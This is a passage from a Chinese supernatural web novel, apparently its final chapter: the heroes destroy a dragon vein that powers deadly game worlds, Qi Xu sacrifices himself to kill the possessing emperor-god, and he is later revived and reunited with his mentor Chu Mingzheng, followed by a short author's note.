只听身后“轰——”的一声巨响,这一声爆炸比刚才右眼处的声浪要高昂百倍,巨大的石块,裹挟成吨的泥土,铺天盖地如同一张密不透风的网对准三人奔袭而来! 四处炸响碎裂的火星子,受重力影响噼里啪啦狂砸而下的石子,以及脚下逃亡的土地都因为爆炸的疯狂威力而发出巨大的颤抖,坚实的土地变成了忽高忽低的蹦床,倏然就能将人掀翻在地。 周自重拖着老魏,老魏拖着楚小妙,三个人连滚带爬,直冲山底。 逃亡途中老魏蓦然脚步一顿,低头咳出几口浓烈的血腥来。 周自重和楚小妙同时回头看他,只见老魏的身形晃了晃,一块凌空而来的巨石不偏不倚正中他的脊背,那挺直了一辈子的脊梁骨在瞬息之间就被打碎掉了。 周自重的大脑“嗡……”的一声,仿佛有一根弦绷断了。 他悲怆无比的大吼一声,一把将老魏从地上拉拽起来,扛在背上,继续向前跑去。 “你别睡啊老魏……撑住,不能睡,睡了就再醒不过来了!”周自重一路喃喃的对他拼命叮嘱。 然而老魏的眼皮越来越沉,越来越沉……仿佛整个灵魂都在缓缓向下坠去。 “你还有几十年的退休金没领,你忘了吗?!”周自重咆哮出声。 “存了几十年的公积金一个子都没取出来,全成遗产了,你甘心吗老魏!醒醒!醒醒!” 老魏靠在他的背上,嘴角的血已经淌满了周自重的肩头,后背上的伤口也在汩汩汩冒着血,如果仔细看的话会发现,这老头的目光已经趋于凝固了。 他悄无声息的吐了一口长气出来,动了动嘴唇,似乎想说什么。 周自重含着热泪,将耳朵向后靠了靠,那几不可闻的一声话音飘渺着传入他的耳朵里。 “齐栩那小子说的对,以后的时代啊……是你们年轻人的……” 周自重终于承受不住巨大的冲击,所有的哽咽破腔而出,热泪倏然滚落脸颊。 他肩膀上的老魏,已经没了声息。 …… 马飞仙和楚朝在西南方向的一棵大槐树下锁定了龙脉心脏的大概位置。 大徐将最后一只木箱从车后备箱里搬下来,马飞仙和楚朝忙不迭的开始俯身撅土,撅到一半听见对面山脉的爆炸动静,都同时放心下来。 “看样子他们已经成功引爆了。”马飞仙握着罗盘,重重松了口气:“就剩我们了,加把劲同志们。” 楚朝的头越来越疼了,他俯身用力将槐树下的一层土扒开,眼睛已经晕的完全看不清了,手中洛阳铲咔嚓一响,仿佛在土层里撬动了个什么东西。 “嗯?”楚朝晕晕乎乎的发出了疑问的一声,用铲面敲了敲土底:“这是什么?” 大徐和马飞仙同时围拢过来,低头跟他一起研究:“一个石板层?” “再拿一个铲子,过来撬开。”马飞仙吩咐道。 三人合力掀开石板层,只见那是一个石盖模样的物件,一经抬起,就冒出几缕难闻的气息,很像是血池棺林里埋葬已久尸骨和各类陪葬的味道。 “是个墓室?”马飞仙不确定道:“按照我的经验是墓室。” “而且是个大型墓葬,这里应该只是最上层,下层还有无数的墓穴和陪葬,不知道是不是你们说的那个皇帝的埋骨地点,但是我觉得大概率是,龙脉的心脏,他很会给自己挑选位置了。” 大徐一挥手:“管他呢,炸药拿过来!” “不管是皇帝还是主神,再或者其他什么乱七八糟的怪力乱神都不重要,敢在活人头上作威作福,我现在就把他骨灰扬起来!” …… 山洞石室之内,主神的脸色越来越差劲了,仿佛有什么东西在他身体里搅动似的,他的身形摇摇欲坠。 “外边到底什么情况……”主神艰难的扶着额头道。 “没关系师父,既然情况有变,那我现在就想办法把给你移植魂魄……等到你成功复生,我就带你走,我们出去再解决外边的事情。” 他一边走着,一边摇摇晃晃的伸手去握贺松墨。 贺松墨猛然把虚无的衣袖从他掌心附近抽离出来,他含着眼泪,膝盖一弯,“扑通”跪在地上,清润的嗓音已经濒临声嘶力竭了。 “陛下!臣恳请陛下收回成命。” 主神的面容扭曲一瞬,他狰狞惨笑着问贺松墨:“为什么?朕生前亏欠于你,如今想尽办法对你好,还不行么?” 贺松墨死死伏在地上,肩头颤动,声含哭腔:“可是陛下,您给臣的,自始至终都不是臣想要的。” “臣是几千年前就该入轮回的人,不配占有活人的躯体为臣续命,况且楚明铮有恩于臣,臣若是按陛下的旨意去做的话,那与背信弃义有何分别?!” 贺松墨又是重重在地上磕了一头,他的嗓音已经泣音所填满了,字字句句却仍然铿锵有力。 “臣恳请陛下,收回成命!” 主神呲目欲裂,指着贺松墨怒道:“你要抗旨!” “臣不敢,臣……臣……” 那对师徒俩在石室的另一头歇斯底里的咆哮,楚明铮无言的将他两人注视了片刻,转头对齐栩道:“在二十一世纪看见有人这么认真的给你演君臣拉扯的戏码,实在是种很新奇的体验。” 齐栩温柔的看着他笑了:“你说的对师父,我也觉得,还是你好。” 主神怒气冲冲的伸出手去,要拉拽贺松墨的领子,向他俩生前无数次的那样,将老师一把拽到自己身前来。 然而活人的躯体碰不到死人的灵魂,主神的手掌从贺松墨虚无的衣袖间穿体而过,抓了个空。 主神连抓了几次都无济于事,最后一次才勉强找回神志,转身去拿匕首。 贺松墨猛然抬头:“陛下!陛下您要做什么?” 主神握刀而起,大步朝楚明铮走过去,刀锋泠泠,直指楚明铮心脏。 “我现在就杀了他,让师父进来,师父是复生还是死亡,由不得你自己说了算!” 楚明铮很坦然的在石壁上一靠,神情散漫,仿佛无所谓此人来取自己性命一样。 楚明铮这个人一向如此,命运将他抛至哪个点都可以,他在锚点的下坠过程中可以竭尽心力付出一切努力,但是当真的一切都无济于事的时候,那楚明铮也能安然迎接最后结局的到来。 他清楚的知道自己打不过主神,他身负重伤,如今连站起身来都费力,已经毫无还手之力了。 不过最后的最后,他还是想再看一眼齐栩。 于是楚明铮回过头,打算将平静的目光落在齐栩身上。 等等,齐栩不在了。 方才还依偎在楚明铮身侧的那个灵体,此时消失的无影无踪。 楚明铮愕然四下找寻着齐栩的踪迹,心说这孩子也太不懂事了,师父临死前想最后看你一眼,你都不给师父看吗? 在他分神找齐栩的功夫里,面前的主神骤然大吼一声,手中刀柄一滑落地,整个人因为巨大的痛苦而单膝跪在了地上,眼眶里的瞳孔疯狂转动,时而漆黑如墨,时而又恢复如常。 电光火石之间,楚明铮就知道发生什么了。 他一把抓住主神的肩膀,一迭声的喊道:“齐栩!你在里边是吗?醒醒!” 面前的年轻人肩膀抖动片刻,在几个呼吸的功夫过后,终于拿回了自己身体的控制权,他含着一汪水淋淋的眼泪,疲惫而伤感的抬头看向楚明铮。 师徒两人隔着咫尺之遥,平缓而呆滞的对视。 齐栩抬手,轻轻在他眉间触碰了一下,叹息般的对他道了句:“师父,对不起。” 楚明铮揉了揉他的脑袋,温声道:“没什么对不起的,你已经做的很好了。” 齐栩的喉头艰涩的滚动了一下,苦笑落泪:“师父,你有没有后悔过,当年在雪地副本里救我回来?” “如果不是我,你不会有这么多麻烦事,也不会被卷进这个塔里,不会走到今天。” 楚明铮截口打断了他的话:“如果没有你,我会一直在副本里耗到年老体弱,最后也是个死,有什么分别?” “起码从现在的局面来看,我临死前知道了这个世界观的全局,我跟幕后之人能有一战之力,至于结局胜利与否,已经不再我的考虑范围之内了。” 楚明铮眨了眨眼睛,和缓的笑道:“毕竟他勉强算是个神,凡人终其一生,能跟神对话片刻就已经很了不得了,弑神这种事情,更像是古希腊传说里的故事,当不得真的。” 齐栩定定的看着他,片刻之后无声的摇了摇头:“他不是神,他也会死。” 楚明铮心里涌起一线异样,他没听明白齐栩此话的含义。 不过齐栩很快就再次垂下头去,似乎在跟体内另一股力量作斗争,他的眉梢眼角全是汗水,嘴唇沾血,那是用尽毕生之力压制主神所表现出来的惨状。 齐栩最后将额头抵在了楚明铮的额头上,小声喃喃的道:“师父,我爱你。” 楚明铮应到:“我也是。” “让我最后再抱你一下,好不好?” “你抱。” …… 齐栩展开双臂,将楚明铮整个搂在了怀里,臂弯拼命向里收缩而去,恨不得将楚明铮揉进骨血一般的抱法。 楚明铮的下颌搁在他的肩膀上,鼻尖全是年轻人身上熟悉的味道。 在他看不见的地方,齐栩动作幅度很小的捡起了地上的匕首。 他闭着眼睛,一手仍然牢牢搂住楚明铮,一手攥着匕首的刀柄,对准自己脖颈大动脉的位置,一刺而入。 ……鲜血是呈喷溅状射出来的。 楚明铮感受到肩头上汩汩渗入衣衫里的热意时,齐栩的脑袋已经因为脱力而彻底歪下去了,他手中匕首哐当落地,发出清脆的一声响动。 齐栩自始至终没让他看见自己自戕的一幕,除了血管崩裂,气流涌动的噗嗤声响之外,再没有任何声音了。 齐栩本人一声痛哼都没有,就这么无声无息的倒在了楚明铮的肩头。 楚明铮愣愣的抬手去碰他沾满鲜血的衣服,血水涌的太多,已经从内衫渗透到了外套。 “……齐栩?”楚明铮的喉咙仿佛被什么东西堵住了,说不出话来。 怀中年轻人的体温在他的肩头一点一点流失下去,逐渐趋近于死人的冰冷。 楚明铮眼底通红,隐忍半晌,终于搂着徒弟的尸体泪如雨下。 …… 与此同时,山洞之外地动山摇。 这已经是这座山脉发出的第三声爆炸,这一次的爆破比原先的任何一次都要来的猛烈,血色的红光几乎要将天捅破个窟窿。 贺松墨在一旁飘飘忽忽的站着,有点不敢去看楚明铮的眼睛。 楚明铮现在仿佛一尊石头雕筑的人像,一动不动,也没有表情,眼睛无悲无喜,毫无动静。 “他死了,对吗?”贺松墨小心翼翼的问楚明铮。 楚明铮呆滞着神情,没有回答他,仍旧一动不动的坐在原地。 就当贺松墨以为对方不打算理会自己了的时候,楚明铮沙哑的开口了:“是的,他们都死了。” 贺松墨呆住,一时有点难以相信这个事实。 皇帝将自己从生前到死后,捆缚千年,都不肯放他自由,那人就像一个无所不能的神明,讲他随意摆布于股掌之中。 现在那个神明就这么轻而易举的死了。 被困在一个千年后小年轻的体内,还没来得及脱困而出,解除契约,就被这个小年轻毫不犹豫的自杀,被迫同归于尽了。 楚明铮抬起眼睫,麻木的对他道:“你自由了。” “去入你的轮回吧,现在没人能困得住你了。” 贺松墨犹豫的看了看已经咽气的齐栩,不决道:“可是陛下是通神的,他数千年前自己的肉身就死过一次,不妨碍他死后仍然统治阴阳相隔之地数千年。” 楚明铮凉薄而讽刺的笑了一下,朝头顶上空指了指,道:“他能通神,能指挥副本,能死后仍然作威作福,靠的全是这道龙脉给他的力量。” “现在龙脉已经被炸毁,他自己的魂魄跟齐栩一起也死了,你觉得他还有本事再重出江湖吗?” 贺松墨目瞪口呆。 他伸出双手,看了看自己的掌心,只觉那手掌中的纹路逐渐退散而去,慢慢的又变得透明了起来,仿佛下一秒就要消散了。 楚明铮疲惫的将头埋进掌心里,一旁的齐栩无声无息的靠着他。 “你走吧,我再陪他坐一会儿。” “楚兄……”贺松墨不忍道。 “陪他死在这儿也不错。”楚明铮面无表情的说。 贺松墨自知劝慰无用,半晌仿佛下定了决心,躬身抱拳,朝楚明铮深行一礼,郑重道:“千年困局,终得解脱,贺某在此谢过。” 楚明铮朝他挥了挥手,示意他赶紧。 “楚兄与齐兄的大恩大德,贺某没齿难忘,若有来世,定当涌泉相报。”贺松墨在地上又重重朝这边磕了个头,随即起身。 修长的青衫身影在虚空中缓缓消散,再不见了踪影。 …… 山洞外炮火连天,地动山摇。 成群受惊的飞鸟掠过赤红与浓烟交汇的天空,无数山林在瞬息之间成为废墟,成片黑烟雾气在破碎的山体顶上盘旋不休,雾中仿佛有无数张尖叫的幻影,狰狞撕裂的当空炸开,龙脉最关键的几个部位被接连挤破,所有看得见看不见,进行中或者是停整休息中的副本瞬间化为乌有。 成百上千个正在副本里搏杀的玩家不约而同被抛掷回现实世界,众人都是一脸茫然,面面相觑,搞不懂刚才还逼近至眼前的鬼怪为什么下一秒就消失了踪影。 论坛上众说纷纭。 “我的天,副本消失了!” “有没有这几天内进入副本的兄弟姐妹?这是怎么回事,我们刚进去第一个晚上,连boss都没见到,然后就回到自家卧室了?” “对啊,@主控中心,怎么回事,给个说明情况!” “报——主控中心两大长官好像都不在,据内部消息了解,他们已经好几天没来上班了。” “我的天,那可是齐栩!齐栩不可能在任何一个副本里出事的吧?!” “啊!我的道具和积分全都清空!系统出问题了!” …… “不对,总榜也没有了,副本也没有了,你们有没有一种很奇怪的感觉,一直以来困在我们这些玩家身上的有什么东西,它消失了……” 一个可怕而又令人激动的猜测浮现在每个人的脑海里。 副本世界被终止了。 所有的怨气归去来兮,化为乌有,去到了它们该去的地方,副本当中那些毁天灭地,足以吞没整个世界的力量在一番剧烈激荡的流涌过后,去到了它自己该去的地方。 每个人的一生要受无数委屈,要产生无数怨念,恶意,这些恶意的冤孽,到头来永远需要自己承受,若是承受不了,那就让它随风飘散,总没有留下来变成副本霍霍下一群人的道理。 山林间爆炸过后的大火仍然熊熊燃烧,浓烟滚滚,遮天蔽日。 但是这火熄灭了以后,也许会是个难得的晴天。 …… 楚朝和马飞仙,大徐等人凿开山洞石壁,狂奔而入。 “我就知道他们在这里!”马飞仙捧着罗盘欣喜若狂:“石塔的一层底下不是没有空间,只是难以破开,但是我们有铲子有炸药,兵来将挡,战无不胜!” 楚明铮抱着齐栩僵硬冷却的身形,已经没有力气说话了。 楚朝和大徐过去搀扶他起来的时候,楚明铮仰面就倒了下去,浑身的血水,一多半是齐栩的,一半则是自己的。 他的手仍然牢牢攥住齐栩的衣袖不肯松开,明明人已经接近昏迷了。 众人朝着楚明铮手心所攥紧的方向缓缓看去,不由都沉默在了原地。 最后还是大徐发话了:“带上小齐一起回去吧,回去找个地方,大不了就在基地埋了,这样他也不算孤单。” 其他人都没意见,于是七手八脚的把齐栩和楚明铮往车上带。 楚朝通红着眼眶,忽然站定了脚步,大声道:“你们先走!” 众人回头不解:“小阿朝,你这是干什么?” “不管齐栩是活着还是死了,他都希望你好好的。”马飞仙劝道:“楚哥也这么想。” 楚朝急促的喘息了两声,胡乱摇摇头:“不是的,我爸没死,我能感觉到他的存在。” “……你们先走,我是鬼,我不怕危险,给我几天,也许我能在这个山洞里想到办法。” 众人面面相觑,一时犹豫不决,山洞外的火势更大了。 楚朝见状,抬手一记鬼气森森的厉风,将众人一齐推翻出去,扬手凌空甩上了山洞的石门,将所有人关在门外。 “我说了,都出去!” 众人无奈,又想起楚朝那灵异一般的体质,只好鱼贯而出。 马飞仙和大徐一前一后接着楚明铮上了车,齐栩的尸身被他们靠在楚明铮的身侧,歪歪斜斜的坐着,那年轻人面容苍白,仿佛睡着了似的。 楚明铮上车以后就什么都不知道了。 中途山路坑洼,地势坎坷,无数鬼影重重挡路,包括他们开车开到中途,把周自重和楚小妙,以及魏仞的尸身一并接上来,楚小妙看着齐栩惨白的面容,想起小时候亏欠这小子良多,还没来得及修复关系这小子就死了故而大放悲声的全过程…… 楚明铮一概不知道。 越野沿着漫长的山峦一路向北,最终行驶出了山火的范围。《 》 第105章 正文完 第105章 正文完 遗像上正是微微含…… 一个月之后。 天朗气清,惠风和畅。 周自重风尘仆仆踏入院门的时候,基地里一片寂静,仿佛没人敢大声说话似的。 周自重对这诡异的气氛心生好奇,于是三步并作两步跳到主楼基地众人最常见的聚集地里,猛然掀开帘子:“干什么呢?” 只见基地全员,除了楚明铮以外,全都无精打采的坐在屋里,边喝茶边叹气,正对门的地方,不偏不倚摆着幅遗像,遗像面前几盏供果,依次而立。 遗像上的人正是微微含笑的齐栩。 周自重跟那遗像大眼瞪小眼,活生生打了个哆嗦。 “嗨……”他小心翼翼的抬手,跟齐栩打招呼道:“这照片还选的挺帅的。” 楚小妙没精打采的看了他一眼,叮嘱道:“周叔叔,咱好歹尊敬一下逝者。” 周自重蓦然肃穆起来,点头道:“说的对,我给他上柱香?” “香烛在柜子里,你自取。”马飞仙蔫了吧唧,看起来比楚小妙更没精打采。 周自重翻了个白眼:“拉倒吧,我才不给他上香呢,完全没必要。” “嘿——”冉云帆倏然从沙发上跳起来了:“老周你怎么这样,我可跟你说清楚,齐栩是为了保护楚哥和我们大家,毁灭掉副本才死的,我们现在对他态度截然不同,毕竟小齐也是我们看着长大的,我……唉。” 周自重一阵牙疼:“你不是最讨厌他吗,这怎么还说着说着红了眼圈呢,你说你。” 楚小妙和大徐一左一右起身站在周自重面前,没好气的强迫他道:“上香!” 周自重:“……” “行行行……”周自重没办法,只好放下公文包,过来给齐栩点了支香,俯身三拜三,口中念念有词:“您吉祥。” “行了吧?”周自重将公文包重新拿回手上,在沙发正中间找了个地方坐下来。 “好了,我来基地是有正事跟你们说。” 楚小妙用手掌托着脑袋,百无聊赖道:“现在还能有什么正事……” “副本没了,主神祭了,齐栩也死了,我哥哥把自己关在房间里,从早到晚不吃不喝,也不说话,我们谁都没办法。” 周自重理解的点了点头,但却没表现出太过同情的神色,继续平稳的说自己的话。 “首先呢,跟你们说一下主控中心的情况。” “副本没了,主控中心也失去了存在的必要,所以它解散了。”周自重伸手拍了一下掌,试图用肢体语言诠释“没了”的意思。 众人耐心的看着他,对这个结果并不意外。 “然后呢?” “然后……”周自重的语气沉重下来:“我们几个主控中心的老同事,给老魏办了葬礼,把人好好送走了。” 屋里气氛凝固起来,无论死去的人是谁,与你我本身有没有关系,死亡这件事都是令人难过的。 众人沉默半晌,算是默哀。 “主控中心的高层,算上老魏,齐栩,陈兆金,王熊,还有六会长,基本上算是死完了,没剩下谁了,我还活着,可能是老天爷觉得需要留下来一个人收拾烂摊子。”周自重苦笑一声,摊手表示无奈。 这些事对于基地的人来说,其实都不痛不痒的,众人很快都没了兴趣。 “还有别的事吗?”马飞仙出于礼貌,问了一声,意思是老周啊,要是没有别的事,就不留你吃饭了。 周自重停顿了一袭,开口道:“楚明铮呢?” “楼上。”楚小妙答道:“不过我建议你没事不要这个时候进去敲门,他不会理你的。” “接下来要说的事跟他有关,不然我也不会千里迢迢跑一趟,主控中心一堆后续麻烦等我处理呢。” 马飞仙叹了口气:“齐栩都没了,主控中心随便它吧。” 周自重无言的瞥过眼睛去,跟他对视一眼,又意有所指的看着对面齐栩的遗像,说出了他今天来的重磅炸弹:“阿朝从山里回来了。” 楚小妙:“?” 马飞仙:“???” 其余人等:“??!” 周自重满意的看着他们的反应,拍了拍手愉悦道:“哎,你说世间凡事,处处都是妙缘啊,楚明铮本人应该也不会想到,他当初在副本里随便生下的小鬼能有这么大用处吧。” 所有人一齐坐直了身子:“别打岔,说重点!” 周自重一抬手:“先给我那张晦气的遗像撤下来!” 楚小妙和马飞仙忙不迭的撤遗像。 “再把供奉的水果拿给我吃!” 马飞仙:“……” 忍气吞声,把供果拿给他啃了。 周自重慢斯条理的吃完了供果,这才徐徐开口:“啊……你们家小楚朝,在天崩地裂的最后关头,用他的鬼魂之身,捞齐了齐栩留在原地,没来得及消散的魂魄,花了十几天时间留在山火里,把魂魄拼凑好,用不死不灭的鬼身给带回来了。” “楚明铮昏迷接受治疗的那段时间里,我带人把齐栩冻到停尸间里去了。”周自重低头看了一眼表:“这个时候,小楚朝应该已经到医院了吧。” “……反正最迟你们两天后就能见到他,跟他一起吃晚饭了,记得跟楚明铮知会一声。”周自重从沙发上站起来,叮嘱道:“我担心那个把自己关在房间里伤感的男人受不住刺激,齐栩活了,他给吓死了。” 基地全体成员你看看我,我看看你,半秒钟之后,众人集体发出一阵响彻云霄的欢呼。 周自重在一片兴高采烈的欢乐海洋里悠然出门,嘴角也情不自禁勾起一线笑意。 …… 基地众人一整个下午都在互相磨叽推搡。 “你去……” “你去你去!我不去!你又不是不知道楚哥刚回来的状态有多吓人,我害怕。” “小妙你去!” 楚小妙一拧身:“我也害怕。” 他们的动静太大,终于惊动了屋里的楚明铮。 楚明铮从卧室里推门出来,面容苍白,神情憔悴,他阴沉的站在门槛前,将众人环视了一眼:“怎么了?” 众人于是纷纷讪笑:“没什么,没什么,楚哥你好好休息……” “好好休息……” 楚明铮面无表情的将门关上了,他从出院之后,一个人呆了快十几天谁都不想搭理。 谁都不许进他房门。 发呆的时候,他就看看齐栩小时候用的那些武器和道具,齐栩躺过的被子,齐栩跟他一起枕过的枕头。 无数回忆涌上心头。 楚明铮不是个爱掉眼泪的人,齐栩死了以后,他当着基地其他人的面也哭不出来,他也说不清楚如今的自己跟过去有什么区别,只觉灵魂从此缺了一角,再难填补。 窗外天色又黯淡了下来。 夜晚总是最难熬的。 楚明铮深吸一口气,躺在床上,把自己埋在了被子里,不多时,枕巾就全然的湿润了。 与此同时,基地院门外,一道熟悉的身影推开大门,朝里走来。 声音惊动了原本在屋里守夜的楚小妙和大徐,他俩迷迷糊糊,过了好久,才看清来人的面容。 “!!!”大徐圆目怒瞪,当即就要惊喜的吼出声来。 然而来人伸出一根手指,轻轻抵在唇边,含笑冲他做了一个“嘘”的手势,然后缓步踏上二楼,直接朝着楚明铮的房间去了。 大徐和楚小妙惊喜非常的对视一眼,立马站起来去别的房间通知消息。 卧室的房门轻轻的从外侧推开一道缝隙。 楚明铮躺在床上,最开始他没听见声响,直到来人走到他床前的时候,楚明铮才猛然惊觉有人进来了。 “谁?”楚明铮犹如惊弓之鸟,弹跳而起,翻腕便要朝那道黑影抓去。 那人身形高大,带着一身的寒气,他伸出手,轻轻一揽楚明铮的腰身,任由对方单手扣住自己的脖颈,一动不动。 夜色阑珊,交织如漆。 楚明铮盯着黑暗中那双清澈见底的眼睛,微微颤抖起来,那目光对于他来说太过熟悉了。 这个世界上,再不会有第二个人用这样的眼光注视着他了。 楚明铮自诩从不在小辈面前落泪,但是这一刻,他无声的张了张口,泪水夺眶而出。 数年光阴如梭,这些年里所有的爱恨纠缠,误会与恩怨,都在这失而复得的一刻里化为灰烬。 人生一趟,除了生死离别,其余皆是指间沙砾,弹指挥落,不必记挂于心。 楚明铮粗重的喘息了半晌,蓦然抬手搂住了面前年轻人的脖颈,将他高自己一头的脑袋强行压进了臂弯里,毛茸茸的揉搓数把。 齐栩的神志里全是师父熟悉的味道和体温,他靠在师父的臂弯里,任由楚明铮搂着他。 动作强硬,体温凉薄。 一如当年风雪地里,那穿着冲锋衣的年轻男人将他从女鬼手中救下抱起,从此带着他穿过数年风雪,一路相护,直到今天。 风停云散。 【全文完】—— 作者有话说:还没写完,朋友们,不出意外的话,还有一两个番外,讲他们的后续事宜和师徒甜蜜日常,不过辛苦大家等等我,过年的时候给大家放出来[爆哭][爆哭]到时候再讲我的完结感言以及感谢支持例行发言[比心]《 》